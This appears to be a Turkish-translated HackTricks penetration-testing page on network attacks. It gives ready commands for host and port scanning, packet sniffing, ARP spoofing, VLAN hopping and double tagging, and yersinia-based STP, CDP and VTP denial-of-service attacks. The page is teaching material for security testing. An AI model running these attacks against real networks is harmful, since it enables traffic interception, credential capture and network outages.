hacktricks/generic-methodologies-and-resources/pentesting-network
2024-11-27 17:51:47 +00:00
..
dhcpv6.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:41:33 +00:00
eigrp-attacks.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:41:33 +00:00
glbp-and-hsrp-attacks.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:41:33 +00:00
ids-evasion.md Translated ['forensics/basic-forensic-methodology/docker-forensics.md', 2024-11-27 17:51:47 +00:00
lateral-vlan-segmentation-bypass.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:01:54 +00:00
network-protocols-explained-esp.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:41:33 +00:00
nmap-summary-esp.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:41:33 +00:00
pentesting-ipv6.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:41:33 +00:00
README.md Translated ['generic-methodologies-and-resources/pentesting-network/READ 2024-08-21 08:50:54 +00:00
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:41:33 +00:00
spoofing-ssdp-and-upnp-devices.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:01:54 +00:00
webrtc-dos.md Translated ['generic-methodologies-and-resources/pentesting-network/webr 2024-07-29 11:04:31 +00:00

Pentesting Network

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}


Bug bounty ipucu: Intigriti'ye kaydolun, hackers tarafından, hackers için oluşturulmuş premium bir bug bounty platformu! Bugün https://go.intigriti.com/hacktricks adresine katılın ve $100,000'a kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

Dışarıdan hostları keşfetmek

Bu, İnternetten yanıt veren IP'leri bulmanın kısa bir bölümü olacak.
Bu durumda bazı IP kapsamlarınız (belki birkaç aralık) var ve sadece hangi IP'lerin yanıt verdiğini bulmanız gerekiyor.

ICMP

Bu, bir hostun açık olup olmadığını keşfetmenin en kolay ve en hızlı yoludur.
Bazı ICMP paketleri göndermeyi deneyebilir ve yanıt bekleyebilirsiniz. En kolay yol, sadece bir echo request göndermek ve yanıtı beklemektir. Bunu basit bir ping kullanarak veya aralıklar için fping kullanarak yapabilirsiniz.
Ayrıca, diğer tür ICMP paketleri göndermek için nmap kullanabilirsiniz (bu, yaygın ICMP echo request-response filtrelerini atlatacaktır).

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

TCP Port Discovery

Her türlü ICMP paketinin filtrelendiğini bulmak çok yaygındır. O zaman, bir hostun açık olup olmadığını kontrol etmek için yapabileceğiniz tek şey ık portları bulmaya çalışmaktır. Her hostun 65535 portu vardır, bu yüzden eğer "büyük" bir kapsamınız varsa, her hostun her portununık olup olmadığını test edemezsiniz, bu çok fazla zaman alır.
O zaman, ihtiyacınız olan şey hızlı bir port tarayıcısı (masscan) ve en çok kullanılan portların bir listesidir:

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

nmap ile bu adımı da gerçekleştirebilirsiniz, ancak daha yavaştır ve nmap'in aktif hostları tanımlamada bazı sorunları vardır.

HTTP Port Keşfi

Bu, HTTP hizmetlerini keşfetmeye odaklanmak istediğinizde faydalı olan bir TCP port keşfidir:

masscan -p80,443,8000-8100,8443 199.66.11.0/24

UDP Port Discovery

Ayrıca, bir host'a daha fazla dikkat etmeniz gerekip gerekmediğini belirlemek için bazı UDP portlarının açık olup olmadığını kontrol etmeyi deneyebilirsiniz. UDP hizmetleri genellikle düzenli bir boş UDP prob paketi ile hiçbir veri ile yanıt vermediğinden, bir portun filtrelenip filtrelenmediğini veya açık olup olmadığını söylemek zordur. Bunu belirlemenin en kolay yolu, çalışan hizmetle ilgili bir paket göndermektir ve hangi hizmetin çalıştığını bilmediğiniz için, port numarasına dayalı olarak en olası olanı denemelisiniz:

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

Önerilen nmap satırı, /24 aralığındaki her hostta en iyi 1000 UDP portunu test edecektir, ancak bu bile >20dk sürecektir. En hızlı sonuçlar gerekiyorsa udp-proto-scanner kullanabilirsiniz: ./udp-proto-scanner.pl 199.66.11.53/24 Bu, bu UDP probelerini beklenen portlarına gönderecektir (bir /24 aralığı için bu sadece 1 dk sürecektir): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

SCTP Port Keşfi

#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>

Pentesting Wifi

Burada yazıldığı dönemdeki tüm bilinen Wifi saldırılarının güzel bir kılavuzunu bulabilirsiniz:

{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}

İçeriden hostları keşfetmek

Ağ içindeyseniz, yapmak isteyeceğiniz ilk şeylerden biri diğer hostları keşfetmek olacaktır. Ne kadar gürültü yapabileceğinize/istemediğinize bağlı olarak, farklı eylemler gerçekleştirilebilir:

Pasif

Bağlı bir ağ içindeki hostları pasif olarak keşfetmek için bu araçları kullanabilirsiniz:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

Aktif

Dışarıdan hostları keşfetme (TCP/HTTP/UDP/SCTP Port Keşfi) bölümünde bahsedilen tekniklerin burada da uygulanabileceğini unutmayın.
Ancak, diğer hostlarla aynı ağda olduğunuz için daha fazla şey yapabilirsiniz:

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

Active ICMP

Dışarıdan hostları keşfetme ile ilgili yorumlanan tekniklerin (Discovering hosts from the outside (ICMP)) burada da uygulanabileceğini unutmayın.
Ancak, diğer hostlarla aynı ağda olduğunuz için daha fazla şey yapabilirsiniz:

  • Eğer bir alt ağ yayın adresine ping atarsanız, ping her hosta ulaşmalı ve size yanıt verebilirler: ping -b 10.10.5.255
  • Ağ yayın adresine ping atarak diğer alt ağlar içindeki hostları bile bulabilirsiniz: ping -b 255.255.255.255
  • Host keşfi yapmak için nmap'in -PE, -PP, -PM bayraklarını kullanarak sırasıyla ICMPv4 echo, zaman damgası ve alt ağ maskesi istekleri gönderin: nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

Wake On Lan

Wake On Lan, bilgisayarları bir ağ mesajı aracılığıyla açmak için kullanılır. Bilgisayarı açmak için kullanılan sihirli paket, yalnızca bir MAC Dst sağlanan ve ardından aynı paket içinde 16 kez tekrarlanan bir pakettir.
Bu tür paketler genellikle ethernet 0x0842 veya port 9'a UDP paketi olarak gönderilir.
Eğer hiçbir [MAC] sağlanmazsa, paket yayın ethernet'e gönderilir (ve yayın MAC, tekrarlanan MAC olacaktır).

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

Hedefleri Tarama

Derinlemesine taramak istediğiniz tüm IP'leri (harici veya dahili) keşfettikten sonra, farklı eylemler gerçekleştirilebilir.

TCP

  • ık port: SYN --> SYN/ACK --> RST
  • Kapalı port: SYN --> RST/ACK
  • Filtrelenmiş port: SYN --> [YANIT YOK]
  • Filtrelenmiş port: SYN --> ICMP mesajı
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

Bir UDP portunu taramak için 2 seçenek vardır:

  • Kapalı ise bir UDP paketi gönderin ve ICMP ulaşılamaz yanıtını kontrol edin (birçok durumda ICMP filtrelenebilir, bu nedenle portun kapalı mı yoksa açık mı olduğuna dair herhangi bir bilgi almayacaksınız).
  • Bir hizmetten (örneğin, DNS, DHCP, TFTP ve nmap-payloads 'da listelenen diğerleri) yanıt almak için formatlanmış datagramlar gönderin. Eğer bir yanıt alırsanız, o zaman port ıktır.

Nmap, "-sV" kullanarak her iki seçeneği de karıştıracaktır (UDP taramaları çok yavaştır), ancak UDP taramalarının TCP taramalarından daha yavaş olduğunu unutmayın:

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

SCTP Tarama

SCTP (Akış Kontrol İletim Protokolü), TCP (İletim Kontrol Protokolü) ve UDP (Kullanıcı Datagram Protokolü) ile birlikte kullanılmak üzere tasarlanmıştır. Ana amacı, IP ağları üzerinden telefon verilerinin taşınmasını kolaylaştırmak ve Signaling System 7 (SS7)'de bulunan birçok güvenilirlik özelliğini yansıtmaktır. SCTP, SS7 sinyallerini IP ağları üzerinden taşımayı amaçlayan SIGTRAN protokol ailesinin temel bir bileşenidir.

SCTP desteği, IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS ve VxWorks gibi çeşitli işletim sistemleri tarafından sağlanmaktadır; bu da telekomünikasyon ve ağ alanındaki geniş kabulünü ve faydasını göstermektedir.

nmap tarafından SCTP için iki farklı tarama sunulmaktadır: -sY ve -sZ

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

IDS ve IPS kaçışı

{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}

Daha fazla nmap seçeneği

{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}

Dahili IP Adreslerini Açığa Çıkarma

Yanlış yapılandırılmış yönlendiriciler, güvenlik duvarları ve ağ cihazları bazen kamusal olmayan kaynak adresleri kullanarak ağ sorgularına yanıt verir. tcpdump, test sırasında özel adreslerden alınan paketleri tanımlamak için kullanılabilir. Özellikle, Kali Linux'ta, kamu Internet'inden erişilebilen eth2 arayüzünde paketler yakalanabilir. Kurulumunuzun bir NAT veya Güvenlik Duvarı arkasında olduğunu belirtmek önemlidir; bu tür paketlerin muhtemelen filtreleneceği dikkate alınmalıdır.

tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Sniffing

Sniffing ile yakalanan çerçeveleri ve paketleri inceleyerek IP aralıkları, alt ağ boyutları, MAC adresleri ve ana bilgisayar adları hakkında ayrıntılar öğrenebilirsiniz. Ağ yanlış yapılandırılmışsa veya anahtarlama yapısı stres altındaysa, saldırganlar pasif ağ sniffing yoluyla hassas materyalleri yakalayabilir.

Eğer bir anahtarlı Ethernet ağı düzgün yapılandırılmışsa, yalnızca yayın çerçevelerini ve MAC adresinize yönelik materyalleri göreceksiniz.

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

Birisi, ayrıca, Wireshark'ı GUI olarak kullanarak bir SSH oturumu üzerinden uzaktaki bir makineden paketleri gerçek zamanlı olarak yakalayabilir.

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

ıkça.

Kimlik bilgilerini yakalama

Bir pcap veya canlı bir arayüzden kimlik bilgilerini ayrıştırmak için https://github.com/lgandx/PCredz gibi araçlar kullanabilirsiniz.

LAN saldırıları

ARP sahteciliği

ARP Sahteciliği, bir makinenin IP'sinin cihazımızın MAC'ine sahip olduğunu belirtmek için gereksiz ARP Yanıtları göndermeyi içerir. Ardından, kurban ARP tablosunu değiştirecek ve sahte IP ile iletişim kurmak istediğinde her seferinde cihazımıza başvuracaktır.

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flooding - CAM overflow

Anahtarın CAM tablosunu farklı kaynak MAC adresleriyle çok sayıda paket göndererek taşırın. CAM tablosu dolduğunda, anahtar bir hub gibi davranmaya başlar (tüm trafiği yayar).

macof -i <interface>

Modern anahtarlar bu güvenlik açığını düzeltmiştir.

802.1Q VLAN / DTP Saldırıları

Dinamik Trunking

Dinamik Trunking Protokolü (DTP), trunking için otomatik bir sistem sağlamak amacıyla bir bağlantı katmanı protokolü olarak tasarlanmıştır ve anahtarların trunk moduna (Trunk) veya non-trunk moduna otomatik olarak port seçmelerine olanak tanır. DTP'nin kullanımı genellikle suboptimal ağ tasarımının bir göstergesi olarak görülür ve trunk'ların yalnızca gerektiğinde manuel olarak yapılandırılmasının ve uygun belgelerin sağlanmasının önemini vurgular.

Varsayılan olarak, anahtar portları Dinamik Otomatik modda çalışacak şekilde ayarlanmıştır, bu da komşu bir anahtar tarafından tetiklendiğinde trunking başlatmaya hazır oldukları anlamına gelir. Bir pentester veya saldırgan anahtara bağlandığında ve bir DTP İstenilen çerçevesi gönderdiğinde, bir güvenlik sorunu ortaya çıkar; bu, portun trunk moduna girmesine neden olur. Bu eylem, saldırgana STP çerçeve analizi yoluyla VLAN'ları sayma ve sanal arayüzler kurarak VLAN segmentasyonunu aşma imkanı tanır.

Birçok anahtarda varsayılan olarak DTP'nin varlığı, düşmanlar tarafından bir anahtarın davranışını taklit etmek için kullanılabilir ve böylece tüm VLAN'lar üzerindeki trafiğe erişim sağlanabilir. dtpscan.sh betiği, bir arayüzü izlemek için kullanılır ve bir anahtarın Varsayılan, Trunk, Dinamik, Otomatik veya Erişim modunda olup olmadığını gösterir; sonuncusu VLAN hopping saldırılarına karşı tek korumasız yapılandırmadır. Bu araç, anahtarın güvenlik açığı durumunu değerlendirir.

Ağ güvenlik açığı tespit edilirse, Yersinia aracı DTP protokolü aracılığıyla "trunking'i etkinleştirmek" için kullanılabilir ve bu da tüm VLAN'lardan paketlerin gözlemlenmesine olanak tanır.

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

VLAN'ları listelemek için DTPHijacking.py** ile DTP Desirable çerçevesi oluşturmak da mümkündür. **Scripti hiçbir koşulda durdurmayın. Her üç saniyede bir DTP Desirable enjekte eder. Anahtardaki dinamik olarak oluşturulan trunk kanalları yalnızca beş dakika boyunca canlı kalır. Beş dakikadan sonra trunk düşer.

sudo python3 DTPHijacking.py --interface eth0

Access/Desirable (0x03), DTP çerçevesinin Arzu edilen türde olduğunu belirtir, bu da porta Trunk moduna geçmesini söyler. Ve 802.1Q/802.1Q (0xa5), 802.1Q kapsama türünü belirtir.

STP çerçevelerini analiz ederek, VLAN 30 ve VLAN 60'ın varlığını öğreniyoruz.

Belirli VLAN'lara Saldırma

VLAN ID'lerini ve IP değerlerini bildiğinizde, belirli bir VLAN'a saldırmak için sanal bir arayüz yapılandırabilirsiniz.
Eğer DHCP mevcut değilse, o zaman ifconfig kullanarak statik bir IP adresi ayarlayın.

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Automatic VLAN Hopper

Tartışılan saldırı olan Dynamic Trunking ve sanal arayüzler oluşturma ve diğer VLAN'lar içindeki hostları keşfetme işlemleri, araç tarafından otomatik olarak gerçekleştirilir: https://github.com/nccgroup/vlan-hopping---frogger

Double Tagging

Eğer bir saldırgan kurban hostun MAC, IP ve VLAN ID değerlerini biliyorsa, çerçeveyi iki etiketle kendi belirlenen VLAN'ı ve kurbanın VLAN'ını kullanarak etiketlemeyi deneyebilir ve bir paket gönderebilir. Kurban geri bağlanamayacağı için, saldırgan için en iyi seçenek, bazı ilginç eylemler gerçekleştirebilen protokollerle (SNMP gibi) UDP üzerinden iletişim kurmaktır.

Saldırgan için bir diğer seçenek, saldırgan tarafından kontrol edilen ve kurban tarafından erişilebilen bir IP'yi taklit ederek bir TCP port taraması başlatmaktır (muhtemelen internet üzerinden). Ardından, saldırgan, kurbanın bazı paketler alıp almadığını görmek için kendisine ait ikinci hostta dinleme yapabilir.

Bu saldırıyı gerçekleştirmek için scapy kullanabilirsiniz: pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Lateral VLAN Segmentation Bypass

Eğer doğrudan bağlı olduğunuz bir anahtara erişiminiz varsa, ağ içinde VLAN segmentasyonunu atlama yeteneğine sahip olursunuz. Basitçe portu trunk moduna geçirin (diğer adıyla trunk), hedef VLAN'ların kimlikleri ile sanal arayüzler oluşturun ve bir IP adresi yapılandırın. Adresi dinamik olarak (DHCP) talep etmeyi deneyebilirsiniz veya statik olarak yapılandırabilirsiniz. Duruma bağlıdır.

{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}

Layer 3 Private VLAN Bypass

Belirli ortamlarda, misafir kablosuz ağlar gibi, port izolasyonu (özel VLAN olarak da bilinir) ayarları, bir kablosuz erişim noktasına bağlı istemcilerin doğrudan birbirleriyle iletişim kurmasını önlemek için uygulanır. Ancak, bu izolasyon önlemlerini aşabilen bir teknik tanımlanmıştır. Bu teknik, ya ağ ACL'lerinin yokluğundan ya da yanlış yapılandırılmasından yararlanarak, IP paketlerinin bir yönlendirici üzerinden aynı ağdaki başka bir istemciye ulaşmasını sağlar.

Saldırı, hedef istemcinin IP adresini taşıyan ancak yönlendiricinin MAC adresi ile birlikte olan bir paket oluşturularak gerçekleştirilir. Bu, yönlendiricinin paketi yanlışlıkla hedef istemciye iletmesine neden olur. Bu yaklaşım, kurbanın erişebileceği bir ana bilgisayarı kontrol etme yeteneğinin güvenlik açığını istismar etmek için kullanıldığı Double Tagging Saldırıları ile benzerdir.

Saldırının Ana Adımları:

  1. Bir Paket Oluşturma: Hedef istemcinin IP adresini içeren ancak yönlendiricinin MAC adresi ile birlikte özel olarak hazırlanmış bir paket oluşturulur.
  2. Yönlendirici Davranışını İstismar Etme: Hazırlanan paket, yönlendiriciye gönderilir; yapılandırma nedeniyle, paket hedef istemciye yönlendirilir ve özel VLAN ayarları tarafından sağlanan izolasyonu aşar.

VTP Attacks

VTP (VLAN Trunking Protocol) VLAN yönetimini merkezileştirir. VLAN veritabanı bütünlüğünü korumak için revizyon numaralarını kullanır; herhangi bir değişiklik bu numarayı artırır. Anahtarlar, kendi VLAN veritabanlarını güncelleyerek daha yüksek revizyon numaralarına sahip yapılandırmaları benimser.

VTP Domain Roles

  • VTP Sunucusu: VLAN'ları yönetir—oluşturur, siler, değiştirir. Alan üyelerine VTP duyuruları yayınlar.
  • VTP İstemcisi: VLAN veritabanını senkronize etmek için VTP duyurularını alır. Bu rol, yerel VLAN yapılandırma değişikliklerinden kısıtlanmıştır.
  • VTP Şeffaf: VTP güncellemelerine katılmaz ancak VTP duyurularını iletir. VTP saldırılarından etkilenmez, sıfır olan sabit bir revizyon numarasını korur.

VTP Advertisement Types

  • Özet Duyurusu: VTP sunucusu tarafından her 300 saniyede bir yayınlanır ve temel alan bilgilerini taşır.
  • Alt Küme Duyurusu: VLAN yapılandırma değişikliklerinden sonra gönderilir.
  • Duyuru Talebi: Daha yüksek bir yapılandırma revizyon numarasını tespit etmesi durumunda, bir VTP istemcisi tarafından Özet Duyurusu talep etmek için verilir.

VTP zafiyetleri yalnızca trunk portları aracılığıyla istismar edilebilir, çünkü VTP duyuruları yalnızca bunlar üzerinden dolaşır. DTP saldırısı sonrası senaryolar VTP'ye kayabilir. Yersinia gibi araçlar, VLAN veritabanını silmeyi hedefleyerek VTP saldırılarını kolaylaştırabilir ve ağı etkili bir şekilde kesintiye uğratabilir.

Not: Bu tartışma VTP sürüm 1 (VTPv1) ile ilgilidir.

%% yersinia -G # Launch Yersinia in graphical mode ```

Yersinia'nın grafiksel modunda, VLAN veritabanını temizlemek için tüm VTP VLAN'larını silme seçeneğini seçin.

STP Saldırıları

Eğer arayüzlerinizde BPDU çerçevelerini yakalayamıyorsanız, STP saldırısında başarılı olmanız olası değildir.

STP BPDU DoS

Birçok BPDU TCP (Topoloji Değişikliği Bildirimi) veya Conf (topoloji oluşturulduğunda gönderilen BPDU'lar) göndererek, anahtarlar aşırı yüklenir ve doğru çalışmayı durdurur.

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP Saldırısı

Bir TCP gönderildiğinde, anahtarların CAM tablosu 15 saniyede silinecektir. Ardından, bu tür paketleri sürekli gönderiyorsanız, CAM tablosu sürekli (veya her 15 saniyede bir) yeniden başlatılacak ve yeniden başlatıldığında, anahtar bir hub gibi davranacaktır.

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP Root Attack

Saldırgan, bir anahtarın davranışını simüle ederek ağın STP kökü haline gelir. Ardından, daha fazla veri onun üzerinden geçecektir. Bu, iki farklı anahtara bağlı olduğunuzda ilginçtir.
Bu, öncelik değerinin gerçek kök anahtarın gerçek önceliğinden daha az olduğunu söyleyen BPDUs CONF paketleri göndererek yapılır.

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

Eğer saldırgan 2 anahtara bağlıysa, yeni ağacın kökü olabilir ve bu anahtarlar arasındaki tüm trafik onun üzerinden geçecektir (bir MITM saldırısı gerçekleştirilecektir).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP Saldırıları

CISCO Discovery Protocol (CDP), CISCO cihazları arasında iletişim için gereklidir ve onların birbirlerini tanımlayıp yapılandırma detaylarını paylaşmalarını sağlar.

Pasif Veri Toplama

CDP, bilgileri tüm portlar üzerinden yayınlayacak şekilde yapılandırılmıştır, bu da bir güvenlik riski oluşturabilir. Bir saldırgan, bir anahtar portuna bağlandığında, Wireshark, tcpdump veya Yersinia gibi ağ dinleyicileri kullanabilir. Bu eylem, ağ cihazı hakkında model ve çalıştığı Cisco IOS sürümü gibi hassas verileri açığa çıkarabilir. Saldırgan, ardından belirlenen Cisco IOS sürümündeki belirli zafiyetleri hedef alabilir.

CDP Tablosu Taşması Sağlama

Daha agresif bir yaklaşım, anahtarın belleğini aşırı yükleyerek bir Hizmet Reddi (DoS) saldırısı başlatmaktır; bu, meşru CISCO cihazları gibi davranarak yapılır. Aşağıda, Yersinia kullanarak böyle bir saldırıyı başlatmak için gereken komut dizisi bulunmaktadır:

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

Bu saldırı sırasında, anahtarın CPU'su ve CDP komşu tablosu ağır bir şekilde yüklenir, bu da genellikle aşırı kaynak tüketimi nedeniyle “ağ felci” olarak adlandırılır.

CDP Taklit Saldırısı

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

You could also use scapy. Be sure to install it with scapy/contrib package.

VoIP Saldırıları ve VoIP Hopper Aracı

VoIP telefonları, giderek IoT cihazlarıyla entegre hale gelerek, kapıları açma veya termostatları kontrol etme gibi işlevler sunar. Ancak, bu entegrasyon güvenlik riskleri oluşturabilir.

Aracı voiphopper, çeşitli ortamlarda (Cisco, Avaya, Nortel, Alcatel-Lucent) bir VoIP telefonunu taklit etmek için tasarlanmıştır. Ses ağının VLAN kimliğini CDP, DHCP, LLDP-MED ve 802.1Q ARP gibi protokoller kullanarak keşfeder.

VoIP Hopper, Cisco Discovery Protocol (CDP) için üç mod sunar:

  1. Sniff Modu (-c 0): VLAN kimliğini belirlemek için ağ paketlerini analiz eder.
  2. Spoof Modu (-c 1): Gerçek bir VoIP cihazının paketlerini taklit eden özel paketler oluşturur.
  3. Önceden Yapılmış Paket ile Spoof Modu (-c 2): Belirli bir Cisco IP telefon modeliyle aynı olan paketleri gönderir.

Hız için tercih edilen mod üçüncüsüdür. Şunları belirtmek gerekir:

  • Saldırganın ağ arayüzü (-i parametresi).
  • Taklit edilen VoIP cihazının adı (-E parametresi), Cisco adlandırma formatına (örneğin, SEP ardından bir MAC adresi) uygun olmalıdır.

Kurumsal ortamlarda, mevcut bir VoIP cihazını taklit etmek için şunlar yapılabilir:

  • Telefonda MAC etiketini incelemek.
  • Telefonun ekran ayarlarına giderek model bilgilerini görüntülemek.
  • VoIP cihazını bir dizüstü bilgisayara bağlayarak Wireshark kullanarak CDP isteklerini gözlemlemek.

Üçüncü modda aracı çalıştırmak için bir örnek komut:

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP Saldırıları

Sayım

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

